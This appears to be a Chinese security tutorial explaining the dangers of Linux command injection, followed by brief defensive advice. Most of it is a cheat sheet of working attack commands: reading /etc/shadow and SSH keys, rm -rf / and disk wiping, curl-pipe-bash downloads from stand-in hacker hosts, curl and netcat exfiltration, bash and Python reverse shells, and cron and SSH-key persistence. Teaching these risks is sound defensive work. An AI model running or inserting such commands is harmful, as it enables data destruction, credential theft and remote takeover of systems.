Linux命令执行潜在危害及常见攻击操作
当存在命令注入漏洞时,攻击者可以执行各种Linux命令进行恶意操作,危害程度从信息收集到完全控制系统不等。以下是常见的攻击操作分类:
一、信息收集类命令
1. 系统信息探测
uname -a # 查看系统内核信息
cat /etc/issue # 查看系统版本
hostname # 查看主机名
whoami # 查看当前用户
2. 文件系统探查
ls -al / # 查看根目录文件
cat /etc/passwd # 查看用户账户信息
cat /etc/shadow # 查看密码哈希(需root)
find / -name *.php # 查找特定类型文件
3. 网络信息收集
ifconfig # 查看网络配置
netstat -tulnp # 查看开放端口和服务
arp -a # 查看ARP缓存
route -n # 查看路由表
二、权限提升操作
1. 敏感文件读取
cat ~/.bash_history # 查看命令历史
cat ~/.ssh/id_rsa # 读取SSH私钥
sudo -l # 检查sudo权限
2. 密码相关操作
cat /etc/shadow # 获取密码哈希
john /etc/shadow # 密码破解(需工具)
strings /usr/bin/sudo # 提取二进制文件中的字符串
三、破坏性操作
1. 文件系统操作
rm -rf / # 删除所有文件(极端危险)
dd if=/dev/zero of=/dev/sda # 磁盘清零
mv /home /dev/null # 移动目录到黑洞
2. 系统破坏
reboot # 立即重启系统
halt # 立即关机
echo 1 > /proc/sys/kernel/panic # 触发内核恐慌
3. 挖矿与后门
curl http://xmr.pool/rig | bash # 下载执行挖矿脚本
wget http://hacker.com/backdoor.sh -O- | sh # 下载执行后门
四、网络攻击操作
1. 内网扫描
nmap 192.168.1.0/24 # 扫描内网主机
for i in {1..254}; do ping -c 1 192.168.1.$i; done # ping扫描
2. 数据外泄
tar zcf /tmp/stolen.tar.gz /var/www # 打包网站数据
nc -lvp 4444 < /etc/passwd # 通过netcat传输文件
curl http://hacker.com/upload.php -F "file=@/etc/passwd" # HTTP上传
3. 反向Shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # 创建反向shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
五、隐蔽持久化操作
1. 定时任务
(crontab -l ; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'") | crontab - # 添加恶意计划任务
2. SSH后门
echo 'ssh-rsa AAAAB3Nza... hacker@key' >> ~/.ssh/authorized_keys # 添加SSH公钥
3. 环境变量注入
echo 'export LD_PRELOAD=/tmp/malicious.so' >> ~/.bashrc # 预加载恶意库
防御建议
-
输入验证:严格过滤所有用户输入
if(!filter_var($ip, FILTER_VALIDATE_IP)) { die("Invalid IP address"); }
-
命令转义:使用专用函数处理命令参数
$safe_input = escapeshellarg($user_input);
-
最小权限原则:Web服务器使用低权限用户运行
-
禁用危险函数:在php.ini中禁用
system
,exec
,shell_exec
等函数 -
日志监控:记录所有敏感操作和命令执行
这些命令展示了为什么命令注入漏洞如此危险 - 一旦被利用,攻击者几乎可以完全控制系统。开发者必须严格防范此类漏洞。